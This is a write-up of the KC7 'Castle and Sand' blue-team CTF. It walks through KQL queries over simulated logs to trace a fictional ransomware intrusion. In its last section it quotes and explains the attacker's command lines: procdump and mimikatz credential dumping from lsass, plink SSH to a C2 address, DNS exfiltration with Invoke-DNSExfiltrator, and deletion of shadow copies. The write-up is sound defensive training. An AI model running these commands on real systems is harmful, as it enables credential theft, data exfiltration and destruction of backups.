📗 CTF Writeup
KC7 CTF - Castle and Sand Writeup
I recently participated in the KC7 Foundation Blue Team Cybersecurity Challenge CTF - Castle & Sand event on 11th June. Throughout this event, I had the opportunity to delve into KQL (Kusto Query Language) and explore its application in using Azure Data Explorer (ADX). The knowledge and hands-on experience I gained in these areas have been invaluable. 💪 It was an incredible experience, and I secured the 32nd position out of 192 talented participants! 🎯
But the journey didn't stop there! Inspired by the challenging puzzles, I continued to tackle and solve every single challenge after the competition. And guess what? 🥳 I managed to climb up the leaderboard and eventually secured the 2nd place with my total accumulated score! 🎉
I would like to extend my heartfelt gratitude to the organizers of this amazing event, Emily Hacker, Waymon Ho, Greg Schloemer, Simeon Kakpovi and the rest of the KC7 Foundation team for putting together such a thought-provoking and engaging competition. Your efforts in creating a platform for cybersecurity enthusiasts like me to learn, grow, and test our skills are truly commendable. 👏
I'd also like to express my gratitude to all the participants who made this event even more competitive and exciting. The friendly competition and camaraderie among the cybersecurity community are truly inspiring.
So here’s my full writeup for the module, hope you guys enjoy it!
NOTE: If the queries don’t pop out, just refresh the page
Section 1: KQL 101 🧰Section 2: Shark Attack! 🦈Section 3: Hunting the Shark 🔍Section 4: Sand in my 👁️👁️ (New Threat Actor)Section 5: A clean sweep 🧹Section 6: Security Jeopardy REDUX 🕺
NOTE:
- 🦆 for hard challenges
- Section 3 requires some Section 2 challenges
- Section 5 requires some Section 4 challenges
Table Name | Description |
Employees | Contains information about the company’s employees |
Email | Records emails sent and received by employees |
InboundNetworkEvents | Records inbound network events including browsing activity from the Internet to devices within the company network |
OutboundNetworkEvents | Records outbound network events including browsing activity from within the company network out to the Internet |
AuthenticationEvents | Records successful and failed logins to devices on the company network. This includes logins to the company’s mail server. |
FileCreationEvents | Records files stored on employee’s devices |
ProcessEvents | Records processes created on employee’s devices |
PassiveDns (External) | Records IP-domain resolutions |
SecurityAlerts | Records security alerts from an employee’s device or the company’s email security system |
Section 1: KQL 101 🧰
- How many employees are in the company?
Employees | count
- Which employee has the IP address: “10.10.2.1”?
Employees | where ip_addr == "10.10.2.1"
- How many emails did Jacqueline Henderson receive?
Email | where recipient == "jacqueline_henderson@castleandsand.com" | count
- How many distinct senders were seen in the email logs from sunandsandtrading.com?
Email | where sender has "sunandsandtrading.com" | summarize Count=count_distinct(sender) OR Email | where sender has "sunandsandtrading.com" | distinct sender | count
- How many unique websites did “Cristin Genao” visit?
Employees | where name == "Cristin Genao" OutboundNetworkEvents | where src_ip == "10.10.0.141" | summarize Count=count_distinct(url) by src_ip
- How many distinct domains in the PassiveDns records contain the word “shark”?
PassiveDns | where domain contains "shark" | distinct domain | count
- What IPs did the domain “sharkfin.com” resolve to (enter any one of them)?
PassiveDns | search "sharkfin.com"
- How many unique URLs were browsed by employees named “Karen”?
OutboundNetworkEvents | where src_ip == "10.10.5.1" or src_ip == "10.10.5.208" or src_ip == "10.10.3.117" | summarize Count=count_distinct(url) OR let karen_ips = Employees | where name has "Karen" | distinct ip_addr; OutboundNetworkEvents | where src_ip in (karen_ips) | distinct url | count
Section 2: Shark Attack! 🦈
- Oh no! Castle&Sand has been hit with ransomware!!! They posted a ransom note and locked all of the company's files. View the ransom note here: https://drive.google.com/file/d/1C9E2rSOSu1vYnZdW7VSVtbmix8a62i0C/view?usp=sharing
- Email:
sharknadorules_gang@onionmail.org
- Unique decryption ID:
SUNNYDAY123329JA0
- The ransom note filename was called
PAY_UP_OR_SWIM_WITH_THE_FISHES.txt
. How many notes appeared in Castle&Sand's environment?
FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | count
- How many distinct hostnames had the ransom note?
FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | distinct hostname | count
- Take the list of unique hostnames and search them across the Employees table. How many distinct employee roles were affected by the ransomware attack?
let unique_hostnames = FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | distinct hostname; Employees | where hostname in (unique_hostnames) | distinct role | count
- There are some executives hit here, but what we should be worried about are the IT roles first. They typically would have more administrative privileges on the Castle&Sand Network. How many unique hostnames belong to IT employees?
let unique_hostnames = FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | distinct hostname; Employees | where hostname in (unique_hostnames) | where role == "IT Helpdesk" | count
- One of the IT employees has their IP address ending in 46. What's their name?
let unique_hostnames = FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | distinct hostname; Employees | where hostname in (unique_hostnames) | where role == "IT Helpdesk" | where ip_addr endswith "46"
Simeon Kakpovi
- Take the unique hostnames there and search them across SecurityAlerts. How many security alerts involved the different hosts?
let unique_hostnames = FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | distinct hostname; SecurityAlerts | where description has_any (unique_hostnames) | count
- How about just the unique hostnames belonging to the IT Helpdesk?
let unique_hostnames = FileCreationEvents | where filename == "PAY_UP_OR_SWIM_WITH_THE_FISHES.txt" | distinct hostname; let it_hostnames = Employees | where hostname in (unique_hostnames) | where role == "IT Helpdesk" | distinct hostname; SecurityAlerts | where description has_any (it_hostnames) | count
- Let's look for any anomalies in the alerts that look different from the other alerts and might be shark themed like the ransomware. You should find who owns the machine that flagged on that alert?
A suspicious file was quarantined on host 6S7W-MACHINE: Chomping-Schedule_Changes.xlsx
Employees | where hostname == "6S7W-MACHINE"
Preston Lane
- A file was flagged in that alert. When did the file appear on that user's machine?
FileCreationEvents | where hostname == "6S7W-MACHINE" | where filename == "Chomping-Schedule_Changes.xlsx"
- What's the SHA256 hash of that file?
71daa56c10f7833848a09cf8160ab5d79da2dd2477b6b3791675e6a8d1635016
- What application created that file?
(process_name)
firefox.exe
- Look for other files with that same name. How many unique hosts had that file on their systems?
FileCreationEvents | where filename == "Chomping-Schedule_Changes.xlsx" | distinct hostname | count
- Based on your answer from Question 12, it looks like the file may have come from the Internet. Search and figure out which domain it might have come from. How many unique domains did employees download this file from?
let emp_hostnames = FileCreationEvents | where filename == "Chomping-Schedule_Changes.xlsx" | distinct hostname; let emp_ip = Employees | where hostname in (emp_hostnames) | distinct ip_addr; OutboundNetworkEvents | where src_ip in (emp_ip) | distinct url | where url has "xlsx" | count
jawfin.com
&sharkfin.com
- Based on the employee we've been tracking from Question 9, which domain did they download the file from?
let preston_lane_ip = Employees | where hostname == "6S7W-MACHINE" | distinct ip_addr; OutboundNetworkEvents | where src_ip in (preston_lane_ip) | distinct url | where url has "xlsx"
jawfin.com
- Check which IPs the domain may have used before. Use the PassiveDns table. How many unique IP addresses did the domain resolve to?
PassiveDns | where domain == "jawfin.com" | distinct ip | count
134.136.25.2 17.72.123.89 165.185.77.18 213.30.8.133 19.216.253.112 193.248.75.126
- 🦆 Which IP address is closest to when the employee had the file created on their host machine?
FileCreationEvents | where filename == "Chomping-Schedule_Changes.xlsx" | distinct timestamp
Timestamp ranges from2023-05-25 16:43:20
to2023-05-27 11:49:51
PassiveDns | where domain == "jawfin.com" | where timestamp between (datetime(2023-05-25,16:43:20) .. datetime(2023-05-27,16:43:20)) OR PassiveDns | where domain == "jawfin.com" | where tostring(timestamp) contains ("2023-05-2")
193.248.75.126
More reference:
- There was another domain found from Q14. How many unique IPs did that domain resolve to?
PassiveDns | where domain == "sharkfin.com" | distinct ip | count
180.5.6.199 157.242.169.232 188.203.116.15 200.106.38.88
- Take all of the IP addresses from the 2 domains and search them against network events on Castle&Sand's website. How many records returned from your query?
let ip_list = PassiveDns | where (domain == "sharkfin.com") or (domain == "jawfin.com") | distinct ip; InboundNetworkEvents | where src_ip in (ip_list) | where url has "castleandsand" | count
- When was the first time we saw any of these actor IP addresses from Q19 against Castle&Sand's network?
2023-05-20T03:11:57Z
- Search the actor IPs against AuthenticationEvents to see if they logged into any user machines or email accounts. How many records did you get back?
let ip_list = PassiveDns | where (domain == "sharkfin.com") or (domain == "jawfin.com") | distinct ip; AuthenticationEvents | where src_ip in (ip_list)
- Look for the malicious domains in Emails. How many records did you get back?
Email | where (link contains "sharkfin.com") or (link contains "jawfin.com") | count
- When was the earliest email sent?
Timestamp:2023-05-25T16:33:09Z
Sender:legal.sand@verizon.com
- How many emails total did that sender send to Castle&Sand employees?
Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | count
- Take all of the distinct
sender
orreply_to
emails from Q24. How many emails total are associated with these email addresses?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | count
- 🦆 How many unique domains did the email addresses use in their emails?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Result = tostring(parse_url(link).Host) // Getting the Host section only | distinct Result
byte-apex.com byte-fin.com byte-jaw.com jawshark.com jawfin.com sharkfin.com
- How many distinct IP addresses total were used by all of the domains identified in Q25?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let domains = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Result = tostring(parse_url(link).Host) // Getting the Host section only | distinct Result; PassiveDns | where domain in (domains) | distinct ip | count
- How many user accounts did these IPs log into?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let domains = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Result = tostring(parse_url(link).Host) // Getting the Host section only | distinct Result; let ips = PassiveDns | where domain in (domains) | distinct ip; AuthenticationEvents | where src_ip in (ips) | count
- 🦆 Looking at these emails (from Q28), how many unique filenames were served by these domains?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename | count
Jawdropping-Employee.lnk
HR_Sharktastic_Notes.pdf
Fintastic-Work-Updates.docx
Sharktastic_Employee_Changes.xlsx
Chomping-Schedule_Changes.xlsx
- How many files with these names were created on employee host machines?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; FileCreationEvents | where filename in (filename_list) | count
- When was the first file observed?
2023-05-25T16:43:20Z
- Take the hosts from here and search for them in
ProcessEvents
. How many records total are associated with the identified host machines from Q30?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | count
- 🦆 Using your query from Q32, set a new query where the timestamp is greater than the first time you saw the file in Q31. How many records total do you have now?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | count
- Let's look at the first few records. There's some suspicious powershell activity that occurs near the beginning. What IP address is referenced in that command?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe"
220.35.180.137
- Which host machine did the powershell activity execute on?
CL8Q-LAPTOP
- There's a weird repeating command right before this activity. What's the parent process of the first time this repeated activity occurs?
scvhost.exe
- What legitimate Windows process was this file trying to masquerade as?
svchost.exe
(Based on knowledge → Typosquatting)
- After the powershell activity there's evidence that a popular password cracking tool may have executed on a host machine. Take that file and search for how many times that tool may have ran on the Castle&Sand environment. How many hosts had their passwords dumped?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_commandline contains "mimikatz.exe" | count
- Based on Q34, how many hosts did that powershell command execute on?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe" | where process_commandline contains "powershell.exe -nop -w hidden -c" | count
- 🦆 How many unique IP addresses were used in these commands?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe" | where process_commandline contains "powershell.exe -nop -w hidden -c" | distinct process_commandline | count
- 🦆 Which of these IP addresses was seen the most?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe" | where process_commandline contains "powershell.exe -nop -w hidden -c" | extend ipAddress = extract(@"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", 0, process_commandline) // 2nd argument - The capture group to extract. // 0 = Entire match // 1 = Value matched by the first () in the regex // >2 = Subsequent () | summarize Count = count() by ipAddress | order by Count desc
157.242.169.232
- Take the parent processes from Q39. How many records total involved those processes?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; let parent_process_list = ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe" | where process_commandline contains "powershell.exe -nop -w hidden -c" | distinct parent_process_name; ProcessEvents | where parent_process_name in (parent_process_list) | count
- See if any of these files are referenced in the command line. How many records did you find?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; let parent_process_list = ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe" | where process_commandline contains "powershell.exe -nop -w hidden -c" | distinct parent_process_name; ProcessEvents | where process_commandline has_any (parent_process_list) | count
- When was the earliest time found in Q43?
2023-06-09T19:43:58Z
- You remember that the encrypted files all had the extension
.sharkfin
. Search for that in created files. When was the earliest time you saw these files?
FileCreationEvents | where filename endswith ".sharkfin"
2023-06-09T19:43:48Z
Section 3: Hunting the Shark 🔍
- Oh no! The ransomware gang sent the Castle&Sand CEO a voicemail. Listen to it. How many hours does Castle&Sand have before the gang releases the information? Link to voicemail: https://twitter.com/webyteyourdata/status/1665825830495219713
72
- What do the ransomware gang call themselves?
Shark boys ; shark boyz ; shark bois ; Shark Boyz ; sharkboyz ; sharkbois
- What MITRE Technique is aligned with what this group did on Castle&Sand systems?
T1486 (Data Encrypted for Impact)
- Search for the email domain used in the ransom note. What is the ZIP code of their headquarters?
https://onionmail.org/privacy
- What country is this email service located in?
USA
- Look at the IP addresses from Section 2, Q16 using MaxMind GeoIP2. How many continents total are these IP addresses from? https://www.maxmind.com/en/geoip-demo
3
- Use search.censys.io to look up the IP address found in Section 2, Q17. What is the Autonomous System (AS) number for the IP address?
AS3215
- Look at the IPs from Section 2, Q18. Which one is assigned to a University?
157.242.169.232 (Loyola Marymount University)
- 🦆 Look at the emails from Section 2, Q25. Which email address is associated with a company outside of the United States?
Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to | extend reply_to = split(reply_to, "@")[1]; PassiveDns | where domain in ("verizon.com", "hotmail.com", "yandex.com", "castleandsand.com") | distinct ip
Since there is no results, meaning castleandsand’s location cannot be found (No mapped IP) However, yandex is a Russian company (& the only email in the email list)urgent_urgent@yandex.com
- For the tool found in Section 2, Q38, what is the MITRE ID for that specific software?
S0002 (Mimikatz)
- For the tool found in Section 2, Q38, what is the MITRE ID for that type of technique that this tool is typically used for?
T1003 (OS Credential Dumping)
- ❌ Take the filenames from Section 2, Q42. How many unique SHA256 hashes are found in Castle&Sand's environment with these filenames?
let email_list = Email | where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com") | distinct reply_to; let filename_list = Email | where (reply_to has_any (email_list)) or (recipient has_any (email_list)) | extend Path = tostring(parse_url(link).Path) // Getting the Path section only | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; let hostname_list = FileCreationEvents | where filename in (filename_list) | distinct hostname; let parent_process_list = ProcessEvents | where hostname in (hostname_list) | where timestamp > datetime(2023-05-25T16:43:20Z) | where process_name == "powershell.exe" | where process_commandline contains "powershell.exe -nop -w hidden -c" | distinct parent_process_name; ProcessEvents | where parent_process_name in (parent_process_list) | distinct parent_process_hash | count
9
- How many were flagged as malicious on VirusTotal?
21ff279ba30d227e32e63cb388bf8c2d21c4fd7e935b3087088579b29e56d81d
(Malicious)af99dea461d36b775235a107c7ea94a2b457851ef62d0ed6f0c50fb5131c8c8b
(Malicious)aa48acaef62a7bfb3192f8a7d6e5229764618ac1ad1bd1b5f6d19a78864eb31f
(Malicious)4874d336c5c7c2f558cfd5954655cacfc85bcfcb512a45fb0ff461ce9c38b86d
(Not Malicious)7ef2cc079afe7927b78be493f0b8a735a3258bc82801a11bc7b420a72708c250
(Malicious)b99d114b267ffd068c3289199b6df95a9f9e64872d6c2b666d63974bbce75bf2
(Malicious)d18aa84b7bf0efde9c6b5db2a38ab1ec9484c59c5284c0bd080f5197bf9388b0
(Malicious)82a7241d747864a8cf621f226f1446a434d2f98435a93497eafb48b35c12c180
(Malicious)f77077777b0cd9edd693b87cbaaaefe73436395192a2b77a841b2d5bd9b088e8
(Malicious)
8
- Which file hash was reported by the security community as the ransomware's encrypted payload?
82a7241d747864a8cf621f226f1446a434d2f98435a93497eafb48b35c12c180
- For Section 2, Q43, what ransomware family uses a command similar to this process execution?
Bablock ; Rorschach ; Storm-1219 (Can be seen from S3Q13 Community section or Family labels section, Bablock is always mentioned)
Section 4: Sand in my 👁️👁️ (New Threat Actor)
- Castle&Sand may have been targeted by a recent phishing campaign. The threat actors used an email with Castle&Sand's name in it: castleandsand_official@outlook.com. How many emails were sent from this email to Castle&Sand employees?
Email | where sender startswith "castleandsand_official@outlook.com" | count
- There appears to be another email account. How many emails total are referenced by these two email accounts?
Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | count
- How many unique domains were used by these email accounts?
Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | extend Result = tostring(parse_url(link).Host) // Getting the Host section only | distinct Result | count
- Based on these domains, what type of attack did this threat actor conduct?
Watering-hole attack
- How many distinct job roles were targeted by this type of attack?
let watering_hole_domain = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; Employees | where email_addr in (watering_hole_domain) | distinct role | count
- 🦆 Take the targeted employees and look for all external IP addresses that authenticated to those users. How many external IP addresses were used to successfully log into those user accounts?
let watering_hole_domain = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; let emp_ip_list = Employees | distinct ip_addr; let targeted_users = Employees | where email_addr in (watering_hole_domain) | distinct username; AuthenticationEvents | where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect" | distinct src_ip | count
VERY IMPORTANT: Use
username
instead of hostname
, the answer differs! This is so maybe because they first log into accounts and then can spread to more machines using additional IP addresses later.- 🦆 These IP addresses may have accessed email inboxes and downloaded data. How many unique filenames were downloaded by these IP addresses?
let watering_hole_domain = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; let emp_ip_list = Employees | distinct ip_addr; let targeted_users = Employees | where email_addr in (watering_hole_domain) | distinct username; let external_ip = AuthenticationEvents | where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect" | distinct src_ip; InboundNetworkEvents | where src_ip in (external_ip) | where url has "download=true&" | extend Filename = tostring(parse_url(url).['Query Parameters']['output']) | distinct Filename | count
InboundNetworkEvents
’s url
column has mail related queries :’D- How many distinct IPs were involved in the stealing of downloaded data from the previous questions?
let watering_hole_domain = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; let emp_ip_list = Employees | distinct ip_addr; let targeted_users = Employees | where email_addr in (watering_hole_domain) | distinct username; let external_ip = AuthenticationEvents | where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect" | distinct src_ip; InboundNetworkEvents | where src_ip in (external_ip) | where url has "download=true&" | extend Filename = tostring(parse_url(url).['Query Parameters']['output']) | distinct src_ip | count
156.155.83.236 215.168.239.75 223.9.222.59 43.185.57.65 195.242.92.76 124.138.210.88 192.91.130.34 190.198.227.17 215.239.162.10
- Based on the IPs from Q6, how many unique domains did they resolve to?
let watering_hole_domain = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; let emp_ip_list = Employees | distinct ip_addr; let targeted_users = Employees | where email_addr in (watering_hole_domain) | distinct username; let username_list = AuthenticationEvents | where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) | distinct src_ip; PassiveDns | where ip in (username_list) | distinct domain | count
- Go back to the user accounts that may have been affected by the phishing campaign. How many hosts have they logged into?
let watering_hole_recipient = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; let watering_hole_username = Employees | where email_addr in (watering_hole_recipient) | distinct username; AuthenticationEvents | where username in (watering_hole_username) | where result == "Successful Login" | distinct hostname | count
- Investigate the domains from Q9. How many files are present on Castle&Sand systems that originated from these domains?
let watering_hole_domain = Email | where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com" | distinct recipient; let emp_ip_list = Employees | distinct ip_addr; let targeted_users = Employees | where email_addr in (watering_hole_domain) | distinct username; let external_ip_list = AuthenticationEvents | where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) | distinct src_ip; let domain_list = PassiveDns | where ip in (external_ip_list) | distinct domain; let filenames = OutboundNetworkEvents | where tostring(parse_url(url).Host) in (domain_list) | distinct url | extend Path = tostring(parse_url(url).Path) | extend Filename = tostring(parse_path(Path).Filename) | distinct Filename; FileCreationEvents | where filename in (filenames) | count
Distinct filenames:Work-Updates.docx
HR_Notes.pdf
employee.lnk
Employee_Changes.xlsx
store_updates.xlsx
- 🦆 Investigate what happens after these files are downloaded and find malicious activity. How many unique malware filenames are created from these files?
let victim_hostname = FileCreationEvents | where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx") | distinct hostname; FileCreationEvents | where hostname in (victim_hostname)
A pattern is found where after installation of the files mentioned, there will be another instance of the same hostname, but with a different/suspicious filename
let victim_hostname = FileCreationEvents | where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx") | distinct hostname; FileCreationEvents | where hostname in (victim_hostname) | serialize // Marks the input row set as serialized (ordered), so that window functions can be applied to it | extend next_timestamp_filename = next(filename) // Finding the next filename on the next timestamp | where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx") | where next_timestamp_filename !in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx") // If the next file is one of the originals, ignore | distinct next_timestamp_filename | count
Malware filenames:TSVIPSrv.dll
1.exe
i.exe
wmi.dll
procdump64.exe
(Only this file is not malicious in VirusTotal)
- How many of these files total are present on Castle&Sand systems?
FileCreationEvents | where filename in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | count
- How many distinct C2 servers are associated with the malware?
ProcessEvents // All related processes | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | where process_commandline has "plink.exe" | distinct process_commandline | count
C2 servers are IPs in this case195.242.92.76
190.198.227.17
43.185.57.65
198.161.105.253
223.119.134.94
215.168.239.75
- 🦆 Find out what this threat actor did at the very end. When is the first time you see this final action by the threat actor? Copy & paste the full timestamp.
procdump64.exe -accepteula -ma lsass.exe lsass.dmp C:\mi.exe \"privilege::debug\" \"sekurlsa::logonpasswords full\" exit >> C:\log.txt mimikatz's sekurlsa::logonpasswords
procdump64.exe
- CLI utility that creates memory dumps of processesaccepteula
- Flag to accept the End-User License Agreement (EULA) for Procdump without promptingma
- Option to create a full dump of a processlsass.exe
- Process name for the Local Security Authority Subsystem Servicelsass.dmp
- Name of the dump file that will be createdC:\\mi.exe
- Name of an executable file that is run after the dump is created"privilege::debug"
and"sekurlsa::logonpasswords full"
are commands/parameters passed to the debuggerexit
- Exit the debuggermimikatz's sekurlsa::logonpasswords
is likely a comment or note about the purpose of the commandplink.exe -i C:\Users\admin\.ssh\id_rsa 215.168.239.75 -q
- Trying to initiate a SSH connection for C2 server
plink.exe
- CLI SSH client-i C:\Users\admin\.ssh\id_rsa
- Path to the private key file used for authentication-q
- Quiet mode, suppressing outputcmd.exe /c a.bat > C:\wmi.dll 2>&1
/c
- Option to execute the specified command and then terminatea.bat
- Batch file or script to be executed2>&1
- Redirects the standard error to the same location as the standard output (wmi.dll
)cmd.exe whoami
cmd.exe ipconfig /all
cmd.exe net localgroup administrators /domain
cmd.exe nltest /dc:list
(List the domain controllers available in the current domain)cy.exe --run=1337 --pt=C:\Users\Public\Desktop\winutils.dll --cg=C:\Users\Public\Desktop\config.ini --we=C:\Users\Public\Desktop\cy.exe
- Using Cortex XDR Dump Service Tool (
cy.exe
) to sideload the Rorschach loader and injector (winutils.dll
), which lead to launching the ransomware payload, “config.ini
,” into a a Notepad process: https://www.bleepingcomputer.com/news/security/new-rorschach-ransomware-is-the-fastest-encryptor-seen-so-far/ Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500
- https://github.com/Arno0x/DNSExfiltrator/tree/master
- Allows for transfering (exfiltrate) a file over a DNS request covert channel
- Basically a data leak testing tool allowing to exfiltrate data over a covert channel
- Trying to inhibit system recovery:
bcdedit.exe 111111111111111111111111111
- Used to manage the Boot Configuration Data (BCD) store in Windows
- The BCD store contains boot configuration parameters and controls the boot process for Windows
- Responsible for specifying which operating system to boot, configuring boot options, and managing boot entries
111...111
is not a valid argument- Without a valid argument, the command would likely result in an error or display the available options for the
bcdedit.exe
command vssadmin.exe 11111111111111111111111
- Used to manage the Volume Shadow Copy Service (VSS) in Windows
vssadmin.exe delete shadows /All /Quiet
- Delete all existing shadow copies on the system
- Shadow copies are created by the Volume Shadow Copy Service and are used for creating backups or restoring previous versions of files
- By running this command with the
/All
and/Quiet
options, it deletes all shadow copies without prompting for confirmation or displaying any output wbadmin.exe 1111111111
- Used for Windows Server Backup administration and recovery operations
wevtutil.exe 111111111111111111111111111111
- Used for managing Windows Event Logs
Invoke-DNSExfiltrator.ps1
was created- Nearing the end, every file is encrypted with
.sharkfin
